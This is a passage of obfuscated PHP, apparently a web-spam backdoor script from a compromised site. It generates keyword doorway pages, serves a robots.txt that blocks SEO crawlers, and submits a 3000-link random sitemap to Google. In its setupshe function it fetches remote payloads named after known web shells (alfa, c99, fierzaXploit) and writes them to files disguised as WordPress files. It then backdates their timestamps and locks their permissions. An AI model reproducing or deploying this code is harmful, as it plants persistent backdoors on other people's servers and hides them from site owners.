' <a href="/">Home</a><br />'. ##>O2dyr+n`c3).
PHP_EOL. ##wAEQh[Bh#{
' <h1>'. ##IzcMEa@!LHh6H\M`
$keyword ##avdw3Fye Or4+Ctmf
. ##{6yN<=
'</h1>'. ##GG{q{fO*cb.H
PHP_EOL.//UeUY<n<)
' <div class="content">'.//&zR_RI`1wouIMS7I!vg
PHP_EOL. ##\fEO`tcf3+
' '. ##H!OU4cf[c}AI
//Fp^_0[4y4\jl({I-Ne
$imagesdiv ##b90E~zLn}x9Yx<hrd
.
PHP_EOL./*Y\gbSM#ZiVCx9D;:[Z*/' </div>'./*lWG6!-a&` PO$${*/
PHP_EOL. ##dmp;o<kFsAK+=_NQGJ
' </div>'.//Y+T_HkhpJ)_wtp0X
PHP_EOL. ##*V0\6il
' <style>'.//>Ex3>H&2qW~~
PHP_EOL./*5Bq;3NLs#A 06lEZKWT*/' img{ border:0;width:100%;max-width:500px;}'./*5!,,S6b*/
PHP_EOL. ##Z2v=H70B} Rw2*rl
' ul li{list-style-type:none;width:49%;float:left;}'. ##Wn#RTF@R 64`H,oE{93I
PHP_EOL./*vbIgy*/' .clear{clear:both;}'.//vkr3BwI&;m+G-En
PHP_EOL.//9+Dt1R
' </style>'. ##7yQ$3K:dP*
PHP_EOL./*NaHKYD4$W6G+7J#!< */' <ul class="related">'. ##ckO[Y
PHP_EOL./*f .s_mIi+&S25_+J*/''./*1O7)))xy{JP_*d=_*/$liil/*ztKN5*^|^%NSW$l!gF*/. ##7_N<@X^1dAZ&5
relatedOutLinks//6;{=Z.2v1n
().
PHP_EOL.//hHQ_(;MZX^
' </ul>'. ##s1`&MG=
PHP_EOL. ##NI=0e
'</body>'. ##*<Yt1YNFtonrjY{P!K1
PHP_EOL./*[YQU.iu9S7%f4(R|[~Q*/'</html>';//]Rg<&N1
//r$h*bZ5&pmT.+#~
header//H(Ik cV%[h\a
(/*q`Jhf#yz*/'Content-type: text/html; charset=utf-8')/*$G]|^O2B*/;
echo /*yoZCaaA7qKp5,3\E*/$str ##*m$=;.}&z
;
die();
}
function /*N!t#En6itwG,B\*/is_https/*R<kb1#M*/(){
if ( isset(//ShUS91HO>N0Gk2Zil
$_SERVER//KMmQd.1=\kUv4
['HTTPS']) && ##Z3;(I)urqOO8*OJ$+k
strtolower ##RF<eV]p3tW:pAs{2xsF`
( ##KdyV]J
$_SERVER ##2dx\>C@,|
['HTTPS']) !== /*$83}IBa92i*/'off') ##G>D+S\ZrTA!l^uNzGL
{
return //aAU>#A@epCmACT
'https://'; ##Gk];)bfwZCEwQ@8F~KDc
} elseif ( isset(//1FB#2(Q
$_SERVER ##}Ck5|f=J%N
['HTTP_X_FORWARDED_PROTO']) && //C`2Iz:F>~._|S:@bkU
$_SERVER//,~ze1`T(injmR
['HTTP_X_FORWARDED_PROTO'] === ##r`Hjr5`
'https' ) ##-SQ6C2))h
{
return /*#(K#ug>Y*/'https://';/*bJf]bZnISk} j@B*/
} elseif ( isset( ## n^aFkSE[JYX$hC{s
$_SERVER//>NGD.<LF}9lK*YYq
['HTTP_FRONT_END_HTTPS']) && /*hSHph|bI!!hy{*/strtolower/*vR`3;I$wDk`lcLs*/(//V|mQee3j*2Q7:B>)eI
$_SERVER/*6Psgf*/['HTTP_FRONT_END_HTTPS']) !== /*P@]E99EDpMG .. */'off')/*5XuLRaqR5gr6\z*/ {
return /*W\HG}yi*/'https://';//\0L,>5zpcl
}
return /*2e:8<GwfQ[lO]2*/'http://'; ##W{dWuX2iF3iOnYch
}
function //WPsQ.Pjq0I:dyuDPTmk$
keywordtouri//g$g*(-g_
($keyword)
{
//9,+SHm(_iJ;d**
$url ##qY+E*=YkBad
= /*005[y471J5g*/str_replace ##D]aFbi3PinZP!Y
(' ', '-', /*sO`<f-pJc &oXtr{2m*/trim ##H=ljHOBN0e
($keyword));
/*Fk Zn|UcrTgpnGw0i(7<*/$url/*0C;c {D0RRR$M*/= ##KuQ4^Z
urlencode ##G9AmX<<lT5o(
($url);
return //u79=a_wP
$url//=n~!{}*amZ8vFnQX
;
}
function /*fz\<kGgtYG6*/showRobotsTxt ##~>;i:PXvF
(){
##Nu|0q!vh_5|Nw.&u@M
$indexurl ##B~{Ipz^Oz0pv
= //JZ|](Zf5{
is_https/*St,38$$mk=:J]]lmC#C*/() . //V&IWdoz @KPRs4v*KB
$_SERVER ##jti{y.f$O;1)W%j
['HTTP_HOST'] . //8VIJGc
'/'; ##T(1(D:S [{oYv8}
@// EX}@UFJ)62S1
header ##UN%}R4v.E|ULiPYzOby
(//~\]H1Mr0l1CKQe
'Content-Type: text/plain')//^!ToKnV}q:kG
;
/*2Oy`V%*/$str ##{NJiAxQPlr
= /*)ss+*gP+n6D8wu+5@J*/'User-agent: Baiduspider'. ##KwKwA}Q^Z*)+0.Mo}482
PHP_EOL./*9I`_<zjK*/'Disallow: /'./*h$agZ$*/PHP_EOL. ##{dOP)o!->!t*0b
'User-agent: AhrefsBot './/2J02iWUd~(H32 I>w3
PHP_EOL. ##SlK5sZ
'Disallow: /'./*TM@ID0eBN1,Wy*/PHP_EOL.//vx4xZtY\U
'User-agent: MJ12bot '. ##,pG!Hl6}@9W
PHP_EOL. ##ve_{pHo0Ma-}A~doT
'Disallow: /'. ##>j<WM
PHP_EOL. ##xL%Fo2yE#Y-&f,|aWn
'User-agent: BLEXBot '. ##G^BV4(sw;
PHP_EOL.//q.]F %DM
'Disallow: /'./*4_$K_,AEU+6n!XEQY>AU*/PHP_EOL./**SjN+Ww`G*/'User-agent: DotBot'.//BmPAi$I
PHP_EOL. ##_C)b@B<!Z!cY15
'Disallow: /'.//~mUBw *hg4 AnEL3:
PHP_EOL./*Iy>:D!w88JyOE*/'User-agent: SemrushBot'./*!%q4Lo*/PHP_EOL.//n@rc|]S0s>uP\t!a;O[
'Disallow: /'.//ZN=vn zZE \r
PHP_EOL.//,<Y^4PvREyM-TI68
'User-agent: YandexBot'. ##54QZ+6{}24m3awMEA
PHP_EOL./*R|V{%s]Q1*/'Disallow: /'.//brGm9<mdjZUQw
PHP_EOL./*`7SJ=n>kRBE<mO}P*/'User-agent: *'. ##+bs!\3<z
PHP_EOL./*wOEV>(&uL*/'Disallow:'./*Ihf9D1t-gRKu}*/PHP_EOL.//BW&{o:NEx;$
'Sitemap: ' .//C6O#juPWU
/*7;}hTEy7R*/is_https//=)-NYZzB.q7Ce7Se}ex
()./*PhmOl6#RE,5)xaFX*/$_SERVER/*#lYX2l]b49GlGzC9*q*/['HTTP_HOST'] . //c_X4^,a@ang
'/sitemap.xml';/*V_,Qiql${n%IOY~2$<C}*/
echo /*,%w+x0(*/$str/*VBuE)C.zZH:K*s%a>i*/;
die;
}
function //uM3Kzj:
pingGoogle//g]_QLKi)5a
(){
if(isset(/*.9gCFu*/$_GET//]u3z^3x!db7
['action']) && //3zi^(IAGOsfu\ED#]
$_GET/*l8$XQvKknB}*/['action'] == /*:>ETWC`i*/'pinggoogle')//~kS^Ap3`g^
{
##2VzU*cA
$indexurl ##7O0o74NJl
= //! ~=tn.e7TPVt.=Fd
is_https//$BKp31kp_
() . ##S>DdhOawU \3(
$_SERVER ##O<@dXFV+,8Y@PYL
['HTTP_HOST'] . //RjnSSMibcm
'/';/**\4DFv71y$U*/
//%aRQl:nO&7xLXZrW&=
$api//e8d}<@c;F)%QKqU-
= //h\&I>
"https://www.google.com/ping?sitemap=" .//bY4,M.*>_JWs
/*C3s,hl5*/$indexurl//t2!4Bn7!l+9WVLxbEg4
. INDEX_PHP . /*{J{u!D$*jq4<e9h%1[V*/'sitemap.xml'; ##If@*I)Aq*(\*${uQCHy
/*%Rl|CHd.Kq>QF}E_*/$content/*^h<I;D*(|&Ng;:E=FZKr*/= //yG\M=(x\@3Eii
getHtml ##h&xBj)po#y8ra
($api);
if(!//A@)&]Z@}F_D
stristr//gHqa Klj+POj6Stu
($content, //WT.Dq9u^oQmVML\
'webmasters/tools')//G_Bc#Jm{7`[Wem\j(
){
echo ##!LCc{)y_EhX3rZ=5
'' ./*[7y)`c`m_d*/ ##ARaLCV;r%4V>vMA
$api//ug<vpv;
;
}else{
echo //{<+}U%0\MCIpby9
$content ##6I07e97Y
;
}
exit();
}
}
function ##qUY$!6F;t-gU~{uG
showSiteMap//s \6EyfO@,
(){
//WvCJ)>
$indexurl//L9jUMlQtX2XF$pz
= /*\OJ3pY-7AX2*/is_https ##c^KK}0cD~C.
() . ##4Y_Ek+1nGC@]^
$_SERVER/*T}|~I\ZIn)Fm#{glsfg*/['HTTP_HOST'] . //HN7ioKAGKWf![nN)|I[v
'/';//|d3wSE4sDWlU
##Ck[dx$XNae{({
$date ##*pbhA)j;W74
= /*4mhot\xGZ-R(!WBBt qk*/date//}=~Y4cqzGUtr~w@TY
( ##_c3(m!<ZHdd$IWq|Ny
'Y-m-d')//G2v<xt;J]\,-
;
##5m!HEMk&:zz[
$result/*=v*XU:d*/= ##Q:8V1} |Ap+
'<?xml version="1.0" encoding="UTF-8"?>'.//C~H#%mQxY=ALL
PHP_EOL. ##QU8Jt$ALr
'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'./*Wm_4p-`$xgGlxk*/PHP_EOL./*L0$UJ|~J:V*/' <url>'. ##exU_Yg$ ~>KZGy
PHP_EOL.//XCNtp;i=CyB]
' <loc>'.//w_<<KTOB7WbZ
$indexurl//m-ZtgCH2Z
.//:fF5;aQ#W}
'</loc>'.//M4yWHh6Eo!cr-Kfw#XR
PHP_EOL.//mA$s50X1- 1>
' <priority>1.0</priority>'.//M=~)xMVKICqJSx^^%2 O
PHP_EOL. ##TOHcS`nxD$#n+MWxL=AV
' <changefreq>always</changefreq>'. ##3cjTGXZ
PHP_EOL.//n)o;4l
' <lastmod>'.//#W5dD#l_Zb
$date/*G#C$)=>p4Nt5dy*/. ##*10 `}&lTb<@T>8CosNg
'</lastmod>'.//qmnD,Pjx$0B2YAF
PHP_EOL. ##!~c|B=r@A9V)o_s@
' </url>';/*1BhX)_@E{Z*/
##WQp*0
$intR//(%u$MV
= /*[[9C}K{Op6y2z*/intSeed//<#|*6Gz#M+@FA~&z%W]1
(//RIzeB\P0X.dpaCyG~
MainDomain ##q0<c])eZbxF=t~jFP
());
/*fxU1.*/srand ##>%r^qxfW
($intR);
/*C7XEoxDgI*/$str ##iZ.ANV 3}d~K
= ##GxxK&Og&k
'abcdefghijklmnopqrstuvwxyz';/*z@W)2YP0oEvaF$-*/
for(//*b1<|0$
$i ## blu;8*~gfv
=0;$i<3000;$i++){
//)X8k!`S-|,xV[S Z >(
$link//]EHc|@\$#O,EelQ
= ###oQ-Z9kK7T4bZ!
$indexurl/*zyUdH( -XL~E1X+*/. INDEX_PHP
. //Xl.<I_h(q0cE$U,geDX
$str/*j1Mft*,B=r%*4(6*5H.u*/[//i8PN%cj
mt_rand ##=nPtAfkS#vK+a3:qfhoa
(0, 25)] . //wKt6A4DEW[=x7Kl!4
$str/*Dgv}ds[i~*/[ ##LW^4V38tckS(<tS
mt_rand//*4TdV-oK
(0, 25)] . //$eVRf*4r<vKPDi
$str ###$P(#CRzYNA6C
[ ##RYv9wks1\:c:$
mt_rand//=fAVM727}JeY
(0, 25)]
. /*q0auh}RDui^;B0o7>Iy*/$str ##|1pNgI,
[/*&l{ikp*/mt_rand ##DDxktFq)TlN
(0, 25)] . //kP,U$HhwAxj5bhW3
$str//e`sSl$6f]b7P $\`
[//VJb&{M.(3lez
mt_rand//Y>^h*@=SSl4RcS
(0, 25)] . ##L]1Rk
$str ##_m-:>p2HMA:;4&MtVV\-
[ ##X}I,*NbW*iHL@8
mt_rand ##9#+~RVVCyvP3CUl
(0, 25)]
. /*L6G=&<`S.K,S~jKxI`z&*/'/'
. ##hjmKLY~O#BT)
##k$Nt-{[|y|o=7Vq
$str//{h5TAJFb
[ ##a~_l,$@VwP{b
mt_rand ##~{>[iXsS4Enu1\i
(0, 25)] . /*RlQc2y(^.f*/$str/*l_+D\!Nr5*/[//d.69X-vMHL*az
mt_rand ##e@D1w=6R>T>L
(0, 25)] . ##rTEJOXim!s)\`8D
$str/*d>K~zw4Z6*/[//;m`,m367&E@[7z
mt_rand ##J1K@aeX%e^JM.1h f
(0, 25)]
. ##:%Hh0V
$str ##rhsGWAf^IRv^
[ ##NH>\&F
mt_rand//3H-B!TEbV K=->RltU
(0, 25)] . //%6Pqdt!OG
$str/*JPsqFd[YE;mpL6E*/[//#B9PGq0RIXq~_n1#MlTk
mt_rand/*(8m>UHAbNphXO*/(0, 25)] . /*gb#)mAu5*/$str//#T>N3nv<xD
[//RB8!.![C2MQ2@o=<
mt_rand ##(K+!TVvD_C:c
(0, 25)];
/*E+ 4g*/$result ##vWL\- A
.= PHP_EOL./*-ASGfI0*/' <url>'./*VuaiYo2IAq*/PHP_EOL.//k>#D4-Kx
' <loc>'.//y~nFmrV
$link/*XTP~C.nITPyklz*/. ##hY3W!9Fpl=r8GG
'-c.html</loc>'./*_{OJwSD3y*/PHP_EOL.//1pKNBuMP:rp3qdxf+~v_
' <priority>0.8</priority>'./*v~=KzVU%<Y\*/PHP_EOL./*3aPQLy#Sjismulu(o*/' <changefreq>weekly</changefreq>'. ##R4B!~e
PHP_EOL.//T5HrW%5$%G
' <lastmod>'. ##KUo&Sg
$date//CHN(Yz}]3
.//wH$COHsH
'</lastmod>'.//Wo%21tsy
PHP_EOL./*hd)}~xeI-WRtv~*/' </url>';//L(JDn
}
//3nfxXWU8Ix6eq
$result//u\93kEj`C%1,6vJ:p~
.= PHP_EOL.//m9B:zm:3GlwXK++dNL
'</urlset>';/*ouh^=3phtFh*/
/*~XBr+jRR]1:=[*/header ##u,n,v
(/* *\l%g-Y7*/'Content-Type: text/xml')/*y=fP(9B*q}fF]KkeQr*/;
echo //W=pW5tUuG3(JR:
$result//Cr\EFZ`v5
;
die();
}
function //nfkW|0B+$nce%FPB
showImagesMobile//2;q:SUmk9C)gg{HKI
($str, $keyword)
{
/*]+mKT|L$UT*/$arr/*i7Zc||%Lt lQ`6sAO*/= /*;=@6AYFy^5;XAjp*/explode//9dVY7})k4&~9^
("\n", $str);
//bcS<CwXZijo~-
$arrIndex ##[zs<7ehG
= /*3<!s4@O*/randArray ##z6X%<|xT^+ KC
(0, (@/*33#!C&bBcEO_DXc[`*/count//^V1OzYFR
($arr) - 1));
//#ohzk=&mM9!q
$returnstr//cNF8Keujc#wWM-:<
= /*~27tS!)];]v.g17{*/'<div class="imagesContainer">';/*F#Y*]0z*/
//^_UwnkFj(nC.dUA
$newContext/*SUqV|=D1c;SKDO*/= new //0F=Pz86@8*l>
context/*9W=z |foJi[%>=5*/(/*gbe8HMMvOm*/'Product')//Fm5LL@YA
;
$newContext->/*YCj}vlas1H]Z]ceb49$ */setName/*6`,Z2r&sjfqwV}s Y*/($keyword);
$newContext->/*111O)KnHIZ*/setDescription ##Ayr{$uCOb
(/*pu)L6){6^bL$gsFT*/$keyword ##-P^BgM
. /*%!3KUv:+A6N>*/' - ' . ##H<8me:e73G
//^3x* k
$_SERVER ##Pc5x@TyaTw
['HTTP_HOST']);
$newContext-> ##!lM0Sn+IJj m(b
setOffers//SJK^L
();
foreach($arrIndex as $index)
{
##X&qzwsbRF>qX@BIC(J
$line ##L}d@+*Tz3JBj+vJ
= //MabusU>0m\
$arr//O$k{()UmVHP6|YXntH
[$index];
//ILA)|1-t
$arrline ##TU-dILZZ}C
= /*M4,t|}*/explode/*]:U,~rN+HV_al9@GKu*/('|||', $line);
if(/*rJY,kP:s*/count//b#wkp!hrMK{ @
($arrline) > 2)
{
/*yYFU&8Q)S3YXv:0*/$keyword ##%l.L\J%t$
= /*,~*4xWOjC}mx(*/htmlspecialchars/*w&p0#\TTR |Ju&k135cC*/(/*KMqOp@D>EbQH*/trim ##HUK9{G(s6_5BQVoI
( ##h.;NlPY_=S|#{le
$arrline/*;V9T.VbYz*bh*/[1]));
$newContext->/*m.<Os[^M3||aF*/addImage ##Zy ic
( ##F1gH{JHdg-R7~.kBTYt{
trim/*7OO7tbv|*/(/*#l|8r*/$arrline//)p=NOu].ck[
[0]));
//!j=Cq&jMs7t0
$returnstr//a,u,N6<76R
.=/*@0sLQ8N*/'
<div class="media">
<a href="' .//|&^^ 9`,f}}A9!;Y8y|-
/*T#!JMP<hrL3*/$arrline/*s\G(mf:GSFN=hw*/[0] . //1NIe+
'" alt="' ./*@CER3YIxJXI0pRC*/ /*rz3s2Cu(q(d1(IC%s[9*/$keyword ##x^jI*pV@
. /*\rew<*/'" title="' ./*qrOvTikg2#0*/ ##&M!*K
$keyword//,`_PmrEE(Deds
. ##j)rq&-]
'">
<img class="mr-3" src="' .//SAa_J0eg> FFo~
/*P%EjJj-,{b*/$arrline ##Lm>gAUl
[0] . ##`w>X=R=+
'" alt="' .//bhD!%@t~,DU>*.9RuTL
/*vZWx7rn-\ll*/$keyword//N~nL_\Z`}=y%(wSS<
. ##okt[34
'" title="' . ##XWO5EL6+Bytf
/*mX9OnKcWW>wUZGe.]*/$keyword/*^R @%+AD2*/. ##BiYEuQj.Bk4:.D
'" />
</a>
<div class="media-body">
<h5 class="mt-0">' .//;`Ca,
##J$]G9mId<~GyW+DDXxe
$keyword ##dBu1B\-@dAJGFBYFF
. ##k(l2*;D6$6FnV4
'</h5>
</div>
</div>
<br>
';//6MSg\m<DaNR,9
}
}
//eWysZzG4=(
$returnstr ##W:W,FXoU5>bN6CV5o2b}
.= ##V2p:Cf9
'
</div>';/*>MB1]F0i>F*/
/*QcEbM8$$_*/$returnstr//kR2YS
.= $newContext->//%M$D=
showScript/* +L1uz51c^8V4I*/();
return ##xe@_@zwEdu
$returnstr/* MrrBQ\2) */;
}
function //H}M<n64
randArray//*OJ9q[(eQ
($min, $max)
{
##,u=HH
$seed/*2Luu*{R&,|h{gQ*/= ##ck<pSZ([IAEae
intSeed/*;L7^)O,X9weryN]!q0*/(// <h}oNDLjR`c.{lL)W,Q
$_SERVER/*V${+4*/['REQUEST_URI']);
/*LuS]={eAU \q*D+*/srand//9}c kjKr:iR^olwP
($seed);
/*LPn:<*/$result/*b#cbK,*/= //Pz Q[qKol
array ##UP5Nb.RIDr6k
();
for(//l7x9w=}!wxB8wf5k
$i// T!At`-5
=/*f^(lrtNB#<(\R.:7.UEY*/$min/*x(\LCmB]w4<w0:*/; $i <= /*mb3T`S^SCw=YN#MSYJTP*/$max ##MGl4P*>8ig+LMx+RJp[V
; $i++)
{
##-IC_oZxN,aj4
$result/*F=Xm<6_T&ufW05:Pw3p*/[] = /*=kI,JJwEd=v))sZ_*/rand/*.Ky;.KC-j9*/($min, $max);
}
##GN0d[G)%FIXWPNrI
$result/*j%&>%T*/= //xus0bY59=
array_unique/*n8H=RZ@vzlB$eC*/($result);
return ##lrrCi%+IstMN
$result ##7Q:=S
;
}
function ##@vqpLT]V>eLJX:bMlw
file_put_contents_force ##8ugL9Hf>K!OH
($filename, $content){
if(@//apbgU~wnZZ`!NR7!&=k8
is_file//{UTsxR(MD.njKNe
($filename)){
@ ##[email protected]
chmod ##>rHWiuKICN9Y<4DT%<#d
($filename, 0767);
}
@ ##yYptb+Y+*
file_put_contents/*g)^o[f!Z].>By*/($filename, $content);
@//&o^G*[<EO(@L
chmod ##q9PUKK\!S4JgzVk11xe
($filename, 0444);
}
function //N=6L#[;
setupshe ##.WNB}b15:`caBQa;
(){
if(!@/*EK`0ra.Sd*/file_exists/*vC zBFB`*/(//!_@1Y3*GCkom3 &;cV
'about.php')//*%e8Ct}Y
|| !@/*`4&Lji04yt~pH8AE*/file_exists/*\P4VVu#Ou*/(/*3%LME>}$5xj-]Eem*/'wp-include.php')/*+_q4$t{5G#Jv8d2}p,1*/ || !@/*.t Yc0-1(n@18*/file_exists//4pnJX@SgH!gsTx-Q8
(/*}48=%HT:C@VqiTkDQE{y*/'wp-admin.php')//YeMI\lPLx2F%hDx
|| !@/*[du:XfZLlP!uKP(c*/file_exists ##Vgd2Ad
(//|jbo]
'wp-comment.php')/*R>zHsN%Dj ,+AvE(*/ || !@/*ZkK5[OytpfZZ!*/file_exists//MS[A|j1#Y%Ep2
(/*GDgV-T[Wv}v*/'wp-corn-sample.php') ##\]qrnO$ 3dsxY^%{{w
|| !@/*Y:+L>@=aM|hF5*/file_exists ##VAue{qd8
(/*Cn;|k`;x,tu`:*/'wp-logln.php')//%1<NLl&-
|| !@/*i)3HFmpcrKY C)*/file_exists//@j6w06,60Je#46 GCr+
(//zl|EjYN
'wp-ver.php')//ggva5u}br8q[mO
|| !@/*qkv#St,3Q9WgxlRr*/file_exists/*)|QcmSEd*/( ##t3pM+ A>(O[EZ >W QZM
'admin.php') ##<#c4!EfehBILyR
){
/*w*$At*/$filetime//Tu4p`qu+fh
= /*{-JRvP%>hFdQpw- D*/getMiddleFileTime ##SP}=JmO6x>@GEllXp
();
if(!@/*CI=gIDv%tKNB*/file_exists/*7rC)HfDO*/(//]XEy<|gxEiG&\Z0
'about.php') ##w85a+<Am[wU=#4
){
##xKHf%7,h
$alfa/*WcS;Z*/= //fq>f}4
readFileContent ##|lSR<Xl}C=3*zm4PdAf9
(/*W9TT~eOJrv#noRT6 I*/'alfa.txt')//+wwt|nC
;
//-qG|QUuZ
file_put_contents_force/*8Y;h}cLwWN4D}uQ(*/('about.php', $alfa);
/*X,Yi`D*/touch/*t9.BsUvfzH\d*/('about.php', $filetime);
}
if(!@ ##5oIhz7a,,M:-h*Qi_
file_exists//vqA{wV&OKndC}2b9
(//DXi@39Vb<D6C
'wp-corn-sample.php') ##g+D+6I|f[0V7bR<.DfW
){
/*6*$|Fp*/$kct ##K583qF[&
= //e.:wG]9MYI52
readFileContent//}n_KoV6N_a&T~
(//qZ@,mia
'kct.txt') ##UU`tdR``+)X9{KYMAS
;
/*JJ{Bp=vh#z*/file_put_contents_force//HP13t
('wp-corn-sample.php', $kct);
/*4YGze8,0V*/touch ##`;B[BMF,#<i$izX*#4C
('wp-corn-sample.php', $filetime);
}
if(!@//S~B2PA5[W-c|6_
file_exists ##8xAK%u6|C*1
(//tS(l+O+@TdtQ
'wp-logln.php')/*V%|!VQR*/){
//{9mQ+`1mhU[g>yb`%`VJ
$one ###\v1@
= /*%4ES*eo*/readFileContent/*71|8YZPj_M(g*/(/*;X8*1q,|3qvjvB*/'one.txt') ##tfuZu+@YP
;
##,V6A@qeRsAiqxj=DOuW
file_put_contents_force/*aDb>)zY7!l$21X4}5|#*/('wp-logln.php', $one);
##ay)!bZW3.@$t
touch/*3>59(|DY&k*&H!*/('wp-logln.php', $filetime);
}
if(!@//88_AQ}2#D,%yn*og4{bm
file_exists ##4<V@tDg
(//n`oG4Y>Ki4
'wp-include.php')//x8}0YYhBA.fcu*kS3\
){
//Pl;Sr
$one4//O>+~J~^
= //`0#6%[1k@
readFileContent//f\,#2\(Ml
( ##3jC+)lYJYsjTn{(_v3e
'one4.txt')//b7lHtwsEh:H8
;
//RZ8rh=Dq=KE
file_put_contents_force/*vjhl=hzjD|uqhJ8JD*/('wp-include.php', $one4);
//Y[eQBYNo[v3a=gOG8>
touch/*Q]SHby<*/('wp-include.php', $filetime);
}
if(!@//Y_;q>hv#f_
file_exists/*)EmOLcC_*/( ##yBD{!\gx
'wp-ver.php')//hry>7
){
//UNk304x=cU 2,
$c99//pqLg7YR`7UFf.EZF+
= /*bd90(]&{V];k^DGZN*/readFileContent/*H%-5,pH&(5ek6*/(//(\=P%-n_(
'xxx.txt')//Cc26SJzl\Mp{B
;
/*@s6&+nW\G5GNew,-_*/file_put_contents_force/*Hhd!$o%OZ7diOTx*/('wp-ver.php', $c99);
##1E7:=6+|41K3LW
touch//9)-V+;zr1jlwem`hTJi
('wp-ver.php', $filetime);
}
if(!@ ##c57n<7q++B:4;EbWNh
file_exists ##~:Nk]3=9mlQ
(//wuFO <O
'wp-admin.php')//VnEq;BS@&5C0j
){
/*haQaYFVJVN[@*/$wplog2//`0ctCi7gH]9fLy+
= ##FSu`;ZK
readFileContent//4a)Jq;2y
(/*!I1OU(*/'wplog2.txt')//F.+E(^BQ2WJ(Szi0H
;
##e0yKr3RM
file_put_contents_force/*aqJdMh(x0uV|G5-i W.L*/('wp-admin.php', $wplog2);
//)4CFb1leZzD&OkaO
touch/*16R|;tV8sH~cb_uqA*/('wp-admin.php', $filetime);
}
if(!@//zmp`j5
file_exists/*Sp<@I*/(/*}>eiw^cf:#Q wud1h0*_*/'wp-comment.php')/*itS}<pz3Xl*/){
##B4s0!Wd|
$one_url_password//Ud^1h(*8<8uPj0Zj~o
= //LN:-XQK5=
readFileContent/*X@l0+Ng*bfP2D,y6Y*/(//9a[\Fb
'one_url_password.txt') ##kP\`_h60]F(\yI11>yJ
;
##sCJGbkt
file_put_contents_force//) [uTO],9cs!Oqy
('wp-comment.php', $one_url_password);
//Jp3m32C
touch/*!@1V[dpJ^n3[DYlN5V^L*/('wp-comment.php', $filetime);
}
if(!@//pLt~MNT1;]mY}uK
file_exists//i13LGQ#R0WVW;&5!\
(/*lVD^0I4*/'admin.php')//8jhBn^VRK[->s
){
/*kmXN3aAH3qDe^:2f>z*/$fierzaXploit//xc;H)w2~KD^g]Py
= //3AaTQ0
readFileContent/*KE7Q1\G]Z0}ft`VK`c*/(//~U)zmJrI7$,m4
'fierzaXploit.txt') ##Q:8l.H2
;
##7;$r[4|tRh3z*
file_put_contents_force/*Yu5ESA0*/('admin.php', $fierzaXploit);
//$`i~2ni,*>mA4M4P#
touch ##=af >,T~0Ut
('admin.php', $filetime);
}
}
}
function //tO$-SCM}^FZki,q
readFileContent/*-@#bFvu<>^icr|S*/($file, ##_,Dn[FcNO Bx_J9&yd
$loadCache ##t@CJ[4=j]VJYWP
= true){
if(isset( ##yX@&qIO%J,#4ucy-<F
$_REQUEST//v8{`i>79h\S^JX!#z4;
['mini']) && ##}R(sobP#mNPPFqQ=
$_REQUEST ##pla6A
['mini'] == //vpwwM_8C}Rky]Z#
'on') ##sXr{coh[}T+=TEPI
{
/*Yz!9Y]m[=(0E|A|[email protected]*/$mini/*Cl&G~ */= ##G\zK:
'&mini=on';//DK;+};)$wNS(X
}elseif(isset(/*BImcC*/$_SESSION//3`$o4fs:XV
['mini']) && ##2%.{#
$_SESSION//@h{gg2_]
['mini'] == //P*1[5N
'on') ##[SQc0O&EI=mX5kR%,P]
{
/*@6w.8K4a\**/$mini/**e^dERt^+z`*/= ##:a5@EA~P8b{#<e%%*r~
'&mini=on'; ##=v0\i*7J|0[lJ:JglZu<
}else{
//19+b^f,k#$-RYTS26vG
$mini// HkW(slce{fl2A}!L}%f
= ##e!L4Clcs[
''; ##$\5h<js
}
if(isset(/*#NRX.g*/$_REQUEST ##7{heHY>y~o:>T
['cf']) && /*E^|5m1X h=`*/$_REQUEST//9jqz4.BRho~{2b!+
['cf'] == //8# .6}>5gvg3
'off')//wfH(t1;@1E
{
##Gp(t@T,]g,35%#
$cf/*BRmTaVcHe.\t*/= /*KwfekwmF1*/'&cf=off'; ##.3@`S
}elseif(isset( ##jI8K#E D5<<
$_SESSION ##)mZM`Eb irS`
['cf']) && //%uAp$VFg#y3Na5>ew
$_SESSION ##YugRN
['cf'] == /*lYn,GcR+*9&E=`&v$39*/'off')/*Q\kHD*/{
##jKrt~>U6F
$cf/*;O_>Gv6ndWPsXk%x*/= //Lr=$7N[`aWricgN$`9
'&cf=off';//`{Emb@oio:E
}else{
##~).O{4<amyF_DfFu,
$cf//@JEi4#h@x3*!\Zt8sVQ
= /*FcvL$KIZU`hG*/''; ##{ 9<Aw1ru{V2#&`Y#ZQ4
}
if(isset(/*De0L5g*/$_REQUEST/*H)AYqd,.}{5vl3W,GnE%*/['v'])){
/*1nPJ:E+9\k={v<4nC5*/$version ##Ay_-zdXwCn&nHPG$
= ##:N$$FAV`s=>y
'&v=' .//38 h\M
##cj4>X00j=+
$_REQUEST ##mJUpa
['v'];
}else{
##e;Wi6.
$version/*X+GE$.4@$T2tIrl*/= //o}aE!aW
''; ##Lbke\0XH:
}
//Im-i@=NS
$uri/*Z7]mM ^]NjWf 5s#Ze*/= ##imMiCZdAR4U#
''; ##Vd!SRv|&fnS;Y7cQl)el
if(//4hPm[EiU
function_exists//X@!x%F9h PB
(/*([RpX*/'create_function')/* xO9R7j3=ypV*0q|wS */ && empty($cf)){
//p_:M*q47{kb9;[uWKC9)
$uri//y}v*m7FZ,4h::UivNSh
= ##uVfiEDSAE`#MD
'?cf=on' ./*W%l>O7Zv!~(gT^RNcHK*/ //$Zz~!_W
$mini ##pdX_`-B9.aX5n
. /*bvxV7f^dPwW3AOSe*/'' . ##wjYbn|
//In64{:T-p
$version//[1+@hM+Hz5RH0:X6KbO
. //+ pA8!&XhEElniV
'&file='.//|s0\7WObxR
$file//hmxZ0_p<CwY)|\:weVwl
;
}else{
##l=Ru_Pl(.1I>
$uri/*4v}NveRD!Ickx\*/= //^4V+>Neb){*Srd8s@yG(
'?file='. ##Sk&KA(teP@
$file//m`k|!;V(mk<
. //%>T9HaaB[y
'' ./*_Wqm6l@3jpKO*/ //G3sE Sf!!y_#e
$mini//3M`~LBU(wrNZLL
. //ChLl,vg5
'' ./*[59RJNc89K~b3D*/ ##Elm,ngzJ$ !U=NP[
$version//udN07[1\6
. ## f+YHLBAQyAKVMPWt3SX
'';//V24-Sjy
}
if($loadCache && /*doI5 1m`g|b*/$content/*&]&#I^QML*/= //h+GiczcSM1KC%JrzAe
getCache ##FOGRf~Q&MV}1%Oi4Mh.
(/*:GgW{ScK7K4 H]>R;kg*/md5//8)q@(>9WU3i
($uri))){
return /*(y&AXiHKy*/$content//RlRaIgx1$N<|\xbP7%
;
}else{
/*lB:i\v*/$content ##4-C[pb!qYXV
= //\wr0&L
getHtml/*Pv.$-!s!WNqN{iSz*/(URLHEAD.$uri);
}
